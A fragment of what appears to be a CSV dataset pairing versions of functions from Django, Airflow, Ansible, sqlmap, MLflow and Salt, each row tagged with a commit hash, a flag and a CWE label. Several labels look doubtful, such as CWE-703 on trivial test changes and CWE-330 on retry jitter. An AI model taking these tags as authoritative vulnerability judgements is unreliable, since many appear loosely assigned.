            with self.assertRaises(DatabaseError):
                editor.add_constraint(Author, constraint)",CWE-Unknown,django/django,54cb1a7e160089cea438f50fdb70aaaf6823786e,"def test_func_unique_constraint_nondeterministic(self):
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        constraint = UniqueConstraint(Random(), name=""func_random_uq"")
        with connection.schema_editor() as editor:
            with self.assertRaises(DatabaseError):
                editor.add_constraint(Author, constraint)"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/task_runner.py,1,"def _handle_trigger_dag_run(
    drte: DagRunTriggerException, context: Context, ti: RuntimeTaskInstance, log: Logger
) -> tuple[ToSupervisor, IntermediateTIState | TerminalTIState]:
    """"""Handle exception from TriggerDagRunOperator.""""""
    log.info(""Triggering Dag Run."", trigger_dag_id=drte.trigger_dag_id)
    SUPERVISOR_COMMS.send_request(
        log=log,
        msg=TriggerDagRun(
            dag_id=drte.trigger_dag_id,
            run_id=drte.dag_run_id,
            logical_date=drte.logical_date,
            conf=drte.conf,
            reset_dag_run=drte.reset_dag_run,
        ),
    )

    comms_msg = SUPERVISOR_COMMS.get_message()
    if isinstance(comms_msg, ErrorResponse) and comms_msg.error == ErrorType.DAGRUN_ALREADY_EXISTS:
        if drte.skip_when_already_exists:
            log.info(
                ""Dag Run already exists, skipping task as skip_when_already_exists is set to True."",
                dag_id=drte.trigger_dag_id,
            )
            msg = TaskState(state=TerminalTIState.SKIPPED, end_date=datetime.now(tz=timezone.utc))
            state = TerminalTIState.SKIPPED
        else:
            log.error(""Dag Run already exists, marking task as failed."", dag_id=drte.trigger_dag_id)
            msg = TaskState(state=TerminalTIState.FAILED, end_date=datetime.now(tz=timezone.utc))
            state = TerminalTIState.FAILED

        return msg, state

    log.info(""Dag Run triggered successfully."", trigger_dag_id=drte.trigger_dag_id)

    # Store the run id from the dag run (either created or found above) to
    # be used when creating the extra link on the webserver.
    ti.xcom_push(key=""trigger_run_id"", value=drte.dag_run_id)

    if drte.deferrable:
        from airflow.exceptions import TaskDeferred
        from airflow.providers.standard.triggers.external_task import DagStateTrigger

        defer = TaskDeferred(
            trigger=DagStateTrigger(
                dag_id=drte.trigger_dag_id,
                states=drte.allowed_states + drte.failed_states,  # type: ignore[arg-type]
                execution_dates=[drte.logical_date] if drte.logical_date else None,
                run_ids=[drte.dag_run_id],
                poll_interval=drte.poke_interval,
            ),
            method_name=""execute_complete"",
        )
        return _defer_task(defer, ti, log)
    if drte.wait_for_completion:
        while True:
            log.info(
                ""Waiting for dag run to complete execution in allowed state."",
                dag_id=drte.trigger_dag_id,
                run_id=drte.dag_run_id,
                allowed_state=drte.allowed_states,
            )
            time.sleep(drte.poke_interval)

            SUPERVISOR_COMMS.send_request(
                log=log, msg=GetDagRunState(dag_id=drte.trigger_dag_id, run_id=drte.dag_run_id)
            )
            comms_msg = SUPERVISOR_COMMS.get_message()
            if TYPE_CHECKING:
                assert isinstance(comms_msg, DagRunStateResult)
            if comms_msg.state in drte.failed_states:
                log.error(
                    ""DagRun finished with failed state."", dag_id=drte.trigger_dag_id, state=comms_msg.state
                )
                msg = TaskState(state=TerminalTIState.FAILED, end_date=datetime.now(tz=timezone.utc))
                state = TerminalTIState.FAILED
                return msg, state
            if comms_msg.state in drte.allowed_states:
                log.info(
                    ""DagRun finished with allowed state."", dag_id=drte.trigger_dag_id, state=comms_msg.state
                )
                break
            log.debug(
                ""DagRun not yet in allowed or failed state."",
                dag_id=drte.trigger_dag_id,
                state=comms_msg.state,
            )

    return _handle_current_task_success(context, ti)",CWE-703,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _handle_trigger_dag_run(
    drte: DagRunTriggerException, context: Context, ti: RuntimeTaskInstance, log: Logger
) -> tuple[ToSupervisor, IntermediateTIState | TerminalTIState]:
    """"""Handle exception from TriggerDagRunOperator.""""""
    log.info(""Triggering Dag Run."", trigger_dag_id=drte.trigger_dag_id)
    SUPERVISOR_COMMS.send_request(
        log=log,
        msg=TriggerDagRun(
            dag_id=drte.trigger_dag_id,
            run_id=drte.dag_run_id,
            logical_date=drte.logical_date,
            conf=drte.conf,
            reset_dag_run=drte.reset_dag_run,
        ),
    )

    comms_msg = SUPERVISOR_COMMS.get_message()
    if isinstance(comms_msg, ErrorResponse) and comms_msg.error == ErrorType.DAGRUN_ALREADY_EXISTS:
        if drte.skip_when_already_exists:
            log.info(
                ""Dag Run already exists, skipping task as skip_when_already_exists is set to True."",
                dag_id=drte.trigger_dag_id,
            )
            msg = TaskState(state=TerminalTIState.SKIPPED, end_date=datetime.now(tz=timezone.utc))
            state = TerminalTIState.SKIPPED
        else:
            log.error(""Dag Run already exists, marking task as failed."", dag_id=drte.trigger_dag_id)
            msg = TaskState(state=TerminalTIState.FAILED, end_date=datetime.now(tz=timezone.utc))
            state = TerminalTIState.FAILED

        return msg, state

    log.info(""Dag Run triggered successfully."", trigger_dag_id=drte.trigger_dag_id)

    # Store the run id from the dag run (either created or found above) to
    # be used when creating the extra link on the webserver.
    ti.xcom_push(key=""trigger_run_id"", value=drte.dag_run_id)

    if drte.deferrable:
        from airflow.exceptions import TaskDeferred
        from airflow.providers.standard.triggers.external_task import DagStateTrigger

        defer = TaskDeferred(
            trigger=DagStateTrigger(
                dag_id=drte.trigger_dag_id,
                states=drte.allowed_states + drte.failed_states,  # type: ignore[arg-type]
                execution_dates=[drte.logical_date] if drte.logical_date else None,
                run_ids=[drte.dag_run_id],
                poll_interval=drte.poke_interval,
            ),
            method_name=""execute_complete"",
        )
        return _defer_task(defer, ti, log)
    elif drte.wait_for_completion:
        while True:
            log.info(
                ""Waiting for dag run to complete execution in allowed state."",
                dag_id=drte.trigger_dag_id,
                run_id=drte.dag_run_id,
                allowed_state=drte.allowed_states,
            )
            time.sleep(drte.poke_interval)

            SUPERVISOR_COMMS.send_request(
                log=log, msg=GetDagRunState(dag_id=drte.trigger_dag_id, run_id=drte.dag_run_id)
            )
            comms_msg = SUPERVISOR_COMMS.get_message()
            if TYPE_CHECKING:
                assert isinstance(comms_msg, DagRunStateResult)
            if comms_msg.state in drte.failed_states:
                log.error(
                    ""DagRun finished with failed state."", dag_id=drte.trigger_dag_id, state=comms_msg.state
                )
                msg = TaskState(state=TerminalTIState.FAILED, end_date=datetime.now(tz=timezone.utc))
                state = TerminalTIState.FAILED
                return msg, state
            if comms_msg.state in drte.allowed_states:
                log.info(
                    ""DagRun finished with allowed state."", dag_id=drte.trigger_dag_id, state=comms_msg.state
                )
                break
            log.debug(
                ""DagRun not yet in allowed or failed state."",
                dag_id=drte.trigger_dag_id,
                state=comms_msg.state,
            )

    return _handle_current_task_success(context, ti)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/task.py,0,"def __init__(self, play, ds, module_vars=None):
        ''' constructor loads from a task or handler datastructure '''

        for x in ds.keys():
            if not x in Task.VALID_KEYS:
                raise errors.AnsibleError(""%s is not a legal parameter in an Ansible task or handler"" % x)

        self.module_vars = module_vars
        self.play        = play

        # load various attributes
        self.name        = ds.get('name', None)
        self.action      = ds.get('action', '')
        self.tags        = [ 'all' ]

        # notified by is used by Playbook code to flag which hosts
        # need to run a notifier
        self.notified_by = []

        # if no name is specified, use the action line as the name
        if self.name is None:
            self.name = self.action

        # load various attributes
        self.only_if = ds.get('only_if', 'True')
        self.async_seconds = int(ds.get('async', 0))  # not async by default
        self.async_poll_interval = int(ds.get('poll', 10))  # default poll = 10 seconds
        self.notify = ds.get('notify', [])
        self.first_available_file = ds.get('first_available_file', None)
        self.with_items = ds.get('with_items', None)
        self.ignore_errors = ds.get('ignore_errors', False)
        
        # notify can be a string or a list, store as a list
        if isinstance(self.notify, basestring):
            self.notify = [ self.notify ]

        # split the action line into a module name + arguments
        tokens = self.action.split(None, 1)
        if len(tokens) < 1:
            raise errors.AnsibleError(""invalid/missing action in task. name: %s"" % self.name)
        self.module_name = tokens[0]
        self.module_args = ''
        if len(tokens) > 1:
            self.module_args = tokens[1]

        import_tags = self.module_vars.get('tags',[])
        if type(import_tags) in [str,unicode]:
            # allow the user to list comma delimited tags
            import_tags = import_tags.split("","")

        self.name = utils.template(self.name, self.module_vars)
        self.action = utils.template(self.action, self.module_vars)

        # handle mutually incompatible options
        if self.with_items is not None and self.first_available_file is not None:
            raise errors.AnsibleError(""with_items and first_available_file are mutually incompatible in a single task"")

        # make first_available_file accessable to Runner code
        if self.first_available_file:
            self.module_vars['first_available_file'] = self.first_available_file
      
        # process with_items so it can be used by Runner code 
        if self.with_items is None:
            self.with_items = [ ]
        self.module_vars['items'] = self.with_items

        # make ignore_errors accessable to Runner code
        self.module_vars['ignore_errors'] = self.ignore_errors

        # tags allow certain parts of a playbook to be run without running the whole playbook
        apply_tags = ds.get('tags', None)
        if apply_tags is not None:
            if type(apply_tags) in [ str, unicode ]:
                self.tags.append(apply_tags)
            elif type(apply_tags) == list:
                self.tags.extend(apply_tags)
        self.tags.extend(import_tags)",,ansible/ansible,b76efa39be063dd15da8d4eabc310eb0f673e295,"def __init__(self, play, ds, module_vars=None):
        ''' constructor loads from a task or handler datastructure '''

        for x in ds.keys():
            if not x in Task.VALID_KEYS:
                raise errors.AnsibleError(""%s is not a legal parameter in an Ansible task or handler"" % x)

        self.module_vars = module_vars
        self.play        = play

        # load various attributes
        self.name        = ds.get('name', None)
        self.action      = ds.get('action', '')
        self.tags        = [ 'all' ]

        # notified by is used by Playbook code to flag which hosts
        # need to run a notifier
        self.notified_by = []

        # if no name is specified, use the action line as the name
        if self.name is None:
            self.name = self.action

        # load various attributes
        self.only_if = ds.get('only_if', 'True')
        self.async_seconds = int(ds.get('async', 0))  # not async by default
        self.async_poll_interval = int(ds.get('poll', 10))  # default poll = 10 seconds
        self.notify = ds.get('notify', [])
        self.first_available_file = ds.get('first_available_file', None)
        self.with_items = ds.get('with_items', None)
        self.ignore_errors = ds.get('ignore_errors', False)
        
        # notify can be a string or a list, store as a list
        if isinstance(self.notify, basestring):
            self.notify = [ self.notify ]

        # split the action line into a module name + arguments
        tokens = self.action.split(None, 1)
        if len(tokens) < 1:
            raise errors.AnsibleError(""invalid/missing action in task. name: %s"" % self.name)
        self.module_name = tokens[0]
        self.module_args = ''
        if len(tokens) > 1:
            self.module_args = tokens[1]

        import_tags = self.module_vars.get('tags',[])
        if type(import_tags) in [str,unicode]:
            # allow the user to list comma delimited tags
            import_tags = import_tags.split("","")

        self.name = utils.template(self.name, self.module_vars)
        self.action = utils.template(self.name, self.module_vars)

        # handle mutually incompatible options
        if self.with_items is not None and self.first_available_file is not None:
            raise errors.AnsibleError(""with_items and first_available_file are mutually incompatible in a single task"")

        # make first_available_file accessable to Runner code
        if self.first_available_file:
            self.module_vars['first_available_file'] = self.first_available_file
      
        # process with_items so it can be used by Runner code 
        if self.with_items is None:
            self.with_items = [ ]
        self.module_vars['items'] = self.with_items

        # make ignore_errors accessable to Runner code
        self.module_vars['ignore_errors'] = self.ignore_errors

        # tags allow certain parts of a playbook to be run without running the whole playbook
        apply_tags = ds.get('tags', None)
        if apply_tags is not None:
            if type(apply_tags) in [ str, unicode ]:
                self.tags.append(apply_tags)
            elif type(apply_tags) == list:
                self.tags.extend(apply_tags)
        self.tags.extend(import_tags)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/platform/interface.py,0,"def close(self):
        """"""Closes the waker's file descriptor(s).""""""
        raise NotImplementedError()",CWE-Unknown,tornadoweb/tornado,d509f72d54caf8ee70f446e1d90ddbdabfd5d6d0,"def close(self):
        """"""Closes the waker's file descriptor(s).""""""
        raise NotImplementedError()"
,UNKNOWN,UNKNOWN,tests/models/test_dagbag.py,1,"def test_get_dag_with_dag_serialization(self):
        """"""
        Test that Serialized DAG is updated in DagBag when it is updated in
        Serialized DAG table after 'min_serialized_dag_fetch_interval' seconds are passed.
        """"""

        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 0)), tick=False):
            example_bash_op_dag = DagBag(include_examples=True).dags.get(""example_bash_operator"")
            example_bash_op_dag.sync_to_db()
            SerializedDagModel.write_dag(dag=example_bash_op_dag, bundle_name=""testing"")

            dag_bag = DagBag(read_dags_from_db=True)
            ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
            ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]
            assert example_bash_op_dag.tags == ser_dag_1.tags
            assert ser_dag_1_update_time == tz.datetime(2020, 1, 5, 0, 0, 0)

        # Check that if min_serialized_dag_fetch_interval has not passed we do not fetch the DAG
        # from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 4)), tick=False):
            with assert_queries_count(0):
                assert dag_bag.get_dag(""example_bash_operator"").tags == {""example"", ""example2""}

        # Make a change in the DAG and write Serialized DAG to the DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 6)), tick=False):
            example_bash_op_dag.tags.add(""new_tag"")
            example_bash_op_dag.sync_to_db()
            SerializedDagModel.write_dag(dag=example_bash_op_dag, bundle_name=""testing"")

        # Since min_serialized_dag_fetch_interval is passed verify that calling 'dag_bag.get_dag'
        # fetches the Serialized DAG from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 8)), tick=False):
            with assert_queries_count(2):
                updated_ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
                updated_ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]

        assert set(updated_ser_dag_1.tags) == {""example"", ""example2"", ""new_tag""}
        assert updated_ser_dag_1_update_time > ser_dag_1_update_time",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_get_dag_with_dag_serialization(self):
        """"""
        Test that Serialized DAG is updated in DagBag when it is updated in
        Serialized DAG table after 'min_serialized_dag_fetch_interval' seconds are passed.
        """"""

        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 0)), tick=False):
            example_bash_op_dag = DagBag(include_examples=True).dags.get(""example_bash_operator"")
            example_bash_op_dag.sync_to_db()
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

            dag_bag = DagBag(read_dags_from_db=True)
            ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
            ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]
            assert example_bash_op_dag.tags == ser_dag_1.tags
            assert ser_dag_1_update_time == tz.datetime(2020, 1, 5, 0, 0, 0)

        # Check that if min_serialized_dag_fetch_interval has not passed we do not fetch the DAG
        # from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 4)), tick=False):
            with assert_queries_count(0):
                assert dag_bag.get_dag(""example_bash_operator"").tags == {""example"", ""example2""}

        # Make a change in the DAG and write Serialized DAG to the DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 6)), tick=False):
            example_bash_op_dag.tags.add(""new_tag"")
            example_bash_op_dag.sync_to_db()
            SerializedDagModel.write_dag(dag=example_bash_op_dag)

        # Since min_serialized_dag_fetch_interval is passed verify that calling 'dag_bag.get_dag'
        # fetches the Serialized DAG from DB
        with time_machine.travel((tz.datetime(2020, 1, 5, 0, 0, 8)), tick=False):
            with assert_queries_count(2):
                updated_ser_dag_1 = dag_bag.get_dag(""example_bash_operator"")
                updated_ser_dag_1_update_time = dag_bag.dags_last_fetched[""example_bash_operator""]

        assert set(updated_ser_dag_1.tags) == {""example"", ""example2"", ""new_tag""}
        assert updated_ser_dag_1_update_time > ser_dag_1_update_time"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/cerber.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= any(_ in (page or """") for _ in (""We're sorry, you are not allowed to proceed"", ""Your request looks suspicious or similar to automated requests from spam posting software""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = any(_ in (page or """") for _ in (""We're sorry, you are not allowed to proceed"", ""Your request looks suspicious or similar to automated requests from spam posting software""))
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Convert any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, truncate the URLs in the link text longer
    than this limit to trim_url_limit - 1 characters and append an ellipsis.

    If nofollow is True, give the links a rel=""nofollow"" attribute.

    If autoescape is True, autoescape the link text and URLs.
    """"""
    safe_input = isinstance(text, SafeData)

    def trim_url(x, limit=trim_url_limit):
        if limit is None or len(x) <= limit:
            return x
        return '%s…' % x[:max(0, limit - 1)]

    def unescape(text, trail):
        """"""
        If input URL is HTML-escaped, unescape it so that it can be safely fed
        to smart_urlquote. For example:
        http://example.com?x=1&amp;y=&lt;2&gt; => http://example.com?x=1&y=<2>
        """"""
        unescaped = (text + trail).replace(
            '&amp;', '&').replace('&lt;', '<').replace(
            '&gt;', '>').replace('&quot;', '""').replace('&#39;', ""'"")
        if trail and unescaped.endswith(trail):
            # Remove trail for unescaped if it was not consumed by unescape
            unescaped = unescaped[:-len(trail)]
        elif trail == ';':
            # Trail was consumed by unescape (as end-of-entity marker), move it to text
            text += trail
            trail = ''
        return text, unescaped, trail

    def trim_punctuation(lead, middle, trail):
        """"""
        Trim trailing and wrapping punctuation from `middle`. Return the items
        of the new state.
        """"""
        # Continue trimming until middle remains unchanged.
        trimmed_something = True
        while trimmed_something:
            trimmed_something = False

            # Trim trailing punctuation.
            stripped = middle.rstrip(TRAILING_PUNCTUATION_CHARS)
            if middle != stripped:
                trail = middle[len(stripped):] + trail
                middle = stripped
                trimmed_something = True

            # Trim wrapping punctuation.
            for opening, closing in WRAPPING_PUNCTUATION:
                if middle.startswith(opening):
                    middle = middle[len(opening):]
                    lead += opening
                    trimmed_something = True
                # Keep parentheses at the end only if they're balanced.
                if (middle.endswith(closing) and
                        middle.count(closing) == middle.count(opening) + 1):
                    middle = middle[:-len(closing)]
                    trail = closing + trail
                    trimmed_something = True
        return lead, middle, trail

    def is_email_simple(value):
        """"""Return True if value looks like an email address.""""""
        # An @ must be in the middle of the value.
        if '@' not in value or value.startswith('@') or value.endswith('@'):
            return False
        try:
            p1, p2 = value.split('@')
        except ValueError:
            # value contains more than one @.
            return False
        # Dot must be in p2 (e.g. example.com)
        if '.' not in p2 or p2.startswith('.'):
            return False
        return True

    words = word_split_re.split(str(text))
    for i, word in enumerate(words):
        if '.' in word or '@' in word or ':' in word:
            # lead: Current punctuation trimmed from the beginning of the word.
            # middle: Current state of the word.
            # trail: Current punctuation trimmed from the end of the word.
            lead, middle, trail = '', word, ''
            # Deal with punctuation.
            lead, middle, trail = trim_punctuation(lead, middle, trail)

            # Make URL we want to point to.
            url = None
            nofollow_attr = ' rel=""nofollow""' if nofollow else ''
            if simple_url_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote(middle_unescaped)
            elif simple_url_2_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote('http://%s' % middle_unescaped)
            elif ':' not in middle and is_email_simple(middle):
                local, domain = middle.rsplit('@', 1)
                try:
                    domain = domain.encode('idna').decode('ascii')
                except UnicodeError:
                    continue
                url = 'mailto:%s@%s' % (local, domain)
                nofollow_attr = ''

            # Make link.
            if url:
                trimmed = trim_url(middle)
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    trimmed = escape(trimmed)
                middle = '<a href=""%s""%s>%s</a>' % (escape(url), nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return ''.join(words)",CWE-79,django/django,201017df308266c7d5ed20181e6d0ffa5832e3e9,"def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """"""
    Convert any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, truncate the URLs in the link text longer
    than this limit to trim_url_limit-3 characters and append an ellipsis.

    If nofollow is True, give the links a rel=""nofollow"" attribute.

    If autoescape is True, autoescape the link text and URLs.
    """"""
    safe_input = isinstance(text, SafeData)

    def trim_url(x, limit=trim_url_limit):
        if limit is None or len(x) <= limit:
            return x
        return '%s...' % x[:max(0, limit - 3)]

    def unescape(text, trail):
        """"""
        If input URL is HTML-escaped, unescape it so that it can be safely fed
        to smart_urlquote. For example:
        http://example.com?x=1&amp;y=&lt;2&gt; => http://example.com?x=1&y=<2>
        """"""
        unescaped = (text + trail).replace(
            '&amp;', '&').replace('&lt;', '<').replace(
            '&gt;', '>').replace('&quot;', '""').replace('&#39;', ""'"")
        if trail and unescaped.endswith(trail):
            # Remove trail for unescaped if it was not consumed by unescape
            unescaped = unescaped[:-len(trail)]
        elif trail == ';':
            # Trail was consumed by unescape (as end-of-entity marker), move it to text
            text += trail
            trail = ''
        return text, unescaped, trail

    def trim_punctuation(lead, middle, trail):
        """"""
        Trim trailing and wrapping punctuation from `middle`. Return the items
        of the new state.
        """"""
        # Continue trimming until middle remains unchanged.
        trimmed_something = True
        while trimmed_something:
            trimmed_something = False

            # Trim trailing punctuation.
            stripped = middle.rstrip(TRAILING_PUNCTUATION_CHARS)
            if middle != stripped:
                trail = middle[len(stripped):] + trail
                middle = stripped
                trimmed_something = True

            # Trim wrapping punctuation.
            for opening, closing in WRAPPING_PUNCTUATION:
                if middle.startswith(opening):
                    middle = middle[len(opening):]
                    lead += opening
                    trimmed_something = True
                # Keep parentheses at the end only if they're balanced.
                if (middle.endswith(closing) and
                        middle.count(closing) == middle.count(opening) + 1):
                    middle = middle[:-len(closing)]
                    trail = closing + trail
                    trimmed_something = True
        return lead, middle, trail

    def is_email_simple(value):
        """"""Return True if value looks like an email address.""""""
        # An @ must be in the middle of the value.
        if '@' not in value or value.startswith('@') or value.endswith('@'):
            return False
        try:
            p1, p2 = value.split('@')
        except ValueError:
            # value contains more than one @.
            return False
        # Dot must be in p2 (e.g. example.com)
        if '.' not in p2 or p2.startswith('.'):
            return False
        return True

    words = word_split_re.split(str(text))
    for i, word in enumerate(words):
        if '.' in word or '@' in word or ':' in word:
            # lead: Current punctuation trimmed from the beginning of the word.
            # middle: Current state of the word.
            # trail: Current punctuation trimmed from the end of the word.
            lead, middle, trail = '', word, ''
            # Deal with punctuation.
            lead, middle, trail = trim_punctuation(lead, middle, trail)

            # Make URL we want to point to.
            url = None
            nofollow_attr = ' rel=""nofollow""' if nofollow else ''
            if simple_url_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote(middle_unescaped)
            elif simple_url_2_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote('http://%s' % middle_unescaped)
            elif ':' not in middle and is_email_simple(middle):
                local, domain = middle.rsplit('@', 1)
                try:
                    domain = domain.encode('idna').decode('ascii')
                except UnicodeError:
                    continue
                url = 'mailto:%s@%s' % (local, domain)
                nofollow_attr = ''

            # Make link.
            if url:
                trimmed = trim_url(middle)
                if autoescape and not safe_input:
                    lead, trail = escape(lead), escape(trail)
                    trimmed = escape(trimmed)
                middle = '<a href=""%s""%s>%s</a>' % (escape(url), nofollow_attr, trimmed)
                words[i] = mark_safe('%s%s%s' % (lead, middle, trail))
            else:
                if safe_input:
                    words[i] = mark_safe(word)
                elif autoescape:
                    words[i] = escape(word)
        elif safe_input:
            words[i] = mark_safe(word)
        elif autoescape:
            words[i] = escape(word)
    return ''.join(words)"
,UNKNOWN,UNKNOWN,mlflow/utils/request_utils.py,1,"def get_backoff_time(self):
        """"""
        Source: https://github.com/urllib3/urllib3/commit/214b184923388328919b0a4b0c15bff603aa51be
        """"""
        backoff_value = super().get_backoff_time()
        if self.backoff_jitter != 0.0:
            backoff_value += random.random() * self.backoff_jitter
        # The attribute `BACKOFF_MAX` was renamed to `DEFAULT_BACKOFF_MAX` in this commit:
        # https://github.com/urllib3/urllib3/commit/f69b1c89f885a74429cabdee2673e030b35979f0
        # which was part of the major release of 2.0 for urllib3 and the support for both
        # constants was added in 1.26.9:
        # https://github.com/urllib3/urllib3/blob/1.26.9/src/urllib3/util/retry.py
        default_backoff = (
            Retry.BACKOFF_MAX
            if Version(urllib3.__version__) < Version(""1.26.9"")
            else Retry.DEFAULT_BACKOFF_MAX
        )

        return float(max(0, min(default_backoff, backoff_value)))",CWE-330,mlflow/mlflow,6a413ff1af71edc5946e98625dc971d7234a6f4d,"def get_backoff_time(self):
        """"""
        Source: https://github.com/urllib3/urllib3/commit/214b184923388328919b0a4b0c15bff603aa51be
        """"""
        backoff_value = super().get_backoff_time()
        if self.backoff_jitter != 0.0:
            backoff_value += random.random() * self.backoff_jitter
        return float(max(0, min(Retry.DEFAULT_BACKOFF_MAX, backoff_value)))"
,UNKNOWN,UNKNOWN,test/units/module_utils/basic/test_exit_json.py,1,"def test_fail_json_no_msg(self, am):
        with pytest.raises(TypeError) as ctx:
            am.fail_json()

        if sys.version_info < (3,):
            error_msg = ""fail_json() takes exactly 2 arguments (1 given)""
        elif sys.version_info >= (3, 10):
            error_msg = ""AnsibleModule.fail_json() missing 1 required positional argument: 'msg'""
        else:
            error_msg = ""fail_json() missing 1 required positional argument: 'msg'""

        assert ctx.value.args[0] == error_msg",CWE-703,ansible/ansible,d4413dac083426de6fd08f48b3fba2e6d5bcc5af,"def test_fail_json_no_msg(self, am):
        with pytest.raises(TypeError) as ctx:
            am.fail_json()

        if sys.version_info < (3,):
            error_msg = ""fail_json() takes exactly 2 arguments (1 given)""
        else:
            error_msg = ""fail_json() missing 1 required positional argument: 'msg'""

        assert ctx.value.args[0] == error_msg"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils/test_dag_processing.py,0,"def test_kill_timed_out_processors_kill(self, mock_kill, mock_pid):
        mock_pid.return_value = 1234
        manager = DagFileProcessorManager(
            dag_directory='directory',
            file_paths=['abc.txt'],
            max_runs=1,
            processor_factory=MagicMock().return_value,
            processor_timeout=timedelta(seconds=5),
            signal_conn=MagicMock(),
            stat_queue=MagicMock(),
            result_queue=MagicMock,
            async_mode=True)

        processor = DagFileProcessor('abc.txt', False, [])
        processor._start_time = timezone.make_aware(datetime.min)
        manager._processors = {'abc.txt': processor}
        manager._kill_timed_out_processors()
        mock_kill.assert_called_once()",CWE-Unknown,apache/airflow,4f059165c50ae22ea338d158269f7498c84076e9,"def test_kill_timed_out_processors_kill(self, mock_kill, mock_pid):
        mock_pid.return_value = 1234
        manager = DagFileProcessorManager(
            dag_directory='directory',
            file_paths=['abc.txt'],
            max_runs=1,
            processor_factory=MagicMock().return_value,
            processor_timeout=timedelta(seconds=5),
            signal_conn=MagicMock(),
            stat_queue=MagicMock(),
            result_queue=MagicMock,
            async_mode=True)

        processor = DagFileProcessor('abc.txt', False, [])
        processor._start_time = timezone.make_aware(datetime.min)
        manager._processors = {'abc.txt': processor}
        manager._kill_timed_out_processors()
        mock_kill.assert_called()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/operators/test_virtualenv_operator.py,0,"def f(**kwargs):
            return kwargs['templates_dict']['ds']",CWE-Unknown,apache/airflow,94f355c7cd3bb4e64974c2f8f0f6e796da9423ea,"def f(**kwargs):
            return kwargs['templates_dict']['ds']"
,UNKNOWN,UNKNOWN,salt/modules/artifactory.py,1,"def _get_snapshot_version_metadata(artifactory_url, repository, group_id, artifact_id, version, headers):
    metadata_xml = _get_snapshot_version_metadata_xml(artifactory_url=artifactory_url, repository=repository, group_id=group_id, artifact_id=artifact_id, version=version, headers=headers)
    metadata = ET.fromstring(metadata_xml)

    assert group_id == metadata.find('groupId').text
    assert artifact_id == metadata.find('artifactId').text
    assert version == metadata.find('version').text

    snapshot_versions = metadata.find('versioning').find('snapshotVersions')
    extension_version_dict = {}
    for snapshot_version in snapshot_versions:
        extension = snapshot_version.find('extension').text
        value = snapshot_version.find('value').text
        extension_version_dict[extension] = value
        if snapshot_version.find('classifier') is not None:
            classifier = snapshot_version.find('classifier').text
            extension_version_dict[extension + ':' + classifier] = value

    return {
        'snapshot_versions': extension_version_dict
    }",CWE-703,saltstack/salt,3a1eb6a29b03f79d0df86a2f8b04a19d78c545be,"def _get_snapshot_version_metadata(artifactory_url, repository, group_id, artifact_id, version, headers):
    metadata_xml = _get_snapshot_version_metadata_xml(artifactory_url=artifactory_url, repository=repository, group_id=group_id, artifact_id=artifact_id, version=version, headers=headers)
    metadata = ET.fromstring(metadata_xml)

    assert group_id == metadata.find('groupId').text
    assert artifact_id == metadata.find('artifactId').text
    assert version == metadata.find('version').text

    snapshot_versions = metadata.find('versioning').find('snapshotVersions')
    extension_version_dict = {}
    for snapshot_version in snapshot_versions:
        extension = snapshot_version.find('extension').text
        value = snapshot_version.find('value').text
        extension_version_dict[extension] = value
        if snapshot_version.find('classifier') is not None:
             classifier = snapshot_version.find('classifier').text
             extension_version_dict[extension + ':' + classifier] = value

    return {
        'snapshot_versions': extension_version_dict
    }"
